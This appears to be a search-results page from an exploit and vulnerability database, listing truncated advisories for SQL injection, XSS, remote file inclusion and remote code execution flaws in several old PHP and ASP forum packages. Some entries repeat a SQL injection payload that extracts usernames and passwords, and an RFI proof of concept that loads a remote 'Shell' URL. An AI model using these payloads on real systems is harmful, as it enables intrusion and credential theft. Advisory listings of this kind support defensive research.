7878 matches found
MyPHP Forum 'faq.php' and 'member.php' Multiple SQL Injection Vulnerabilities
MyPHP Forum is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in t...
IPTBB <= 0.5.4 (viewdir id) Remote Sql Injection Vulnerability
No description provided by source. --------------------------------------------------------------- Http://www.inj3ct-it.org Staffatinj3ct-itdotorg --------------------------------------------------------------- Remote Sql Injection ---------------------------------------------------------------...
Cross site scripting
Multiple cross-site scripting XSS vulnerabilities in IPortalX before Build 033 allow remote attackers to inject arbitrary web script or HTML via the 1 KW and 2 SF parameters to forum/loginuser.asp, and 3 the Date parameter to blogs.asp...
CVE-2007-6597
Multiple cross-site scripting XSS vulnerabilities in IPortalX before Build 033 allow remote attackers to inject arbitrary web script or HTML via the 1 KW and 2 SF parameters to forum/loginuser.asp, and 3 the Date parameter to blogs.asp...
CVE-2007-6597
Multiple cross-site scripting XSS vulnerabilities in IPortalX before Build 033 allow remote attackers to inject arbitrary web script or HTML via the 1 KW and 2 SF parameters to forum/loginuser.asp, and 3 the Date parameter to blogs.asp...
iptbb-sql.txt
--------------------------------------------------------------- / | |\ \ / | / |/ | | |/ \ | | | |||| /| / / --------------------------------------------------------------- Http://www.inj3ct-it.org Staffatinj3ct-itdotorg --------------------------------------------------------------- Remote Sql...
myphp-sql.txt
Name : MyPHP Forum So we can execute an sql injection thrught the bugged variable $id. PoC: http://Site/faq.php?action=view&id=-1'+union+select+1,concatusername,0x3a,password,3+from+tableprefixmember+where+uid=1/ Sql injection in member.php So $member variable isn't controlled so we can exploit i...
IPTBB 0.5.4 - id SQL Injection
IPTBB 0.5.4 - id SQL Injection --------------------------------------------------------------- / | |\ \ / | / |/ | | |/ \ | | | |||| /| / / --------------------------------------------------------------- Http://www.inj3ct-it.org Staffatinj3ct-itdotorg...
PT-2007-7428 · Iportalx · Iportalx
Name of the Vulnerable Software and Affected Versions: IPortalX versions prior to Build 033 Description: The issue concerns multiple cross-site scripting XSS vulnerabilities. These vulnerabilities allow remote attackers to inject arbitrary web script or HTML. The affected API endpoints include...
MyPHP Forum <= 3.0 (Final) Multiple SQL Injection Vulnerabilities
Exploit for unknown platform in category web applications ================================================================= MyPHP Forum So we can execute an sql injection thrught the bugged variable $id. PoC:...
CVE-2007-6597: Improper Neutralization of Input During Web Page Generation
Multiple cross-site scripting XSS vulnerabilities in IPortalX before Build 033 allow remote attackers to inject arbitrary web script or HTML via the 1 KW and 2 SF parameters to forum/loginuser.asp, and 3 the Date parameter to blogs.asp...
MyPHP Forum 3.0 (Final) - Multiple SQL Injections
MyPHP Forum 3.0 Final - Multiple SQL Injections Name : MyPHP Forum So we can execute an sql injection thrught the bugged variable $id. PoC: http://Site/faq.php?action=view&id=-1'+union+select+1,concatusername,0x3a,password,3+from+tableprefixmember+where+uid=1/ Sql injection in member.php So $memb...
MyPHP Forum 3.0 (Final) - Multiple SQL Injections
Name : MyPHP Forum So we can execute an sql injection thrught the bugged variable $id. PoC: http://Site/faq.php?action=view&id=-1'+union+select+1,concatusername,0x3a,password,3+from+tableprefixmember+where+uid=1/ Sql injection in member.php So $member variable isn't controlled so we can exploit i...
Mihalism Multi Forum Host <= 3.0.x Remote File Inclusion Vulnerability
No description provided by source. &nbs...
Mihalism Multi Forum Host <= 3.0.x Remote File Inclusion Vulnerability
Exploit for unknown platform in category web applications ====================================================================== Mihalism Multi Forum Host = 3.0.x Remote File Inclusion Vulnerability ====================================================================== Mihalism Multi Forum Host =...
Mihalism Multi Forum Host 3.0.x - Remote File Inclusion
Mihalism Multi Forum Host = v3.0.x Remote File Inclusion Vulnerability Script Page : http://www.mihalism.com/misc/downloads/ POC : /ScriptPage/source/includes/loadforum.php?mfhrootpath=http://Shell D0rK : Mihalism Multi Forum Host © 2007 GREETZ TO : TrYaG-TeaM , H-T Team , RoMaNcYxHaCkEr ,...
mihalism-rfi.txt
Mihalism Multi Forum Host = v3.0.x Remote File Inclusion Vulnerability Script Page : http://www.mihalism.com/misc/downloads/ POC : /ScriptPage/source/includes/loadforum.php?mfhrootpath=http://Shell D0rK : Mihalism Multi Forum Host © 2007 GREETZ TO : TrYaG-TeaM , H-T Team , RoMaNcYxHaCkEr ,...
jPORTAL 2.3.1 & UserPatch (forum.php) Remote Code Execution Exploit
Exploit for unknown platform in category web applications =================================================================== jPORTAL 2.3.1 & UserPatch forum.php Remote Code Execution Exploit =================================================================== ? $host = $argv1; $path = $argv2;...
Mihalism Multi Forum Host 3.0.x - Remote File Inclusion
Mihalism Multi Forum Host 3.0.x - Remote File Inclusion Mihalism Multi Forum Host = v3.0.x Remote File Inclusion Vulnerability Script Page : http://www.mihalism.com/misc/downloads/ POC : /ScriptPage/source/includes/loadforum.php?mfhrootpath=http://Shell D0rK : Mihalism Multi Forum Host © 2007...
CVE-2007-6574: Improper Neutralization of Input During Web Page Generation
Multiple cross-site scripting XSS vulnerabilities in Dokeos 1.8.4 and earlier allow remote attackers to inject arbitrary web script or HTML via 1 the origin parameter to work/work.php in a displayuploadform action, or the forum parameter to 2 forum/viewforum.php or 3 forum/viewthread.php...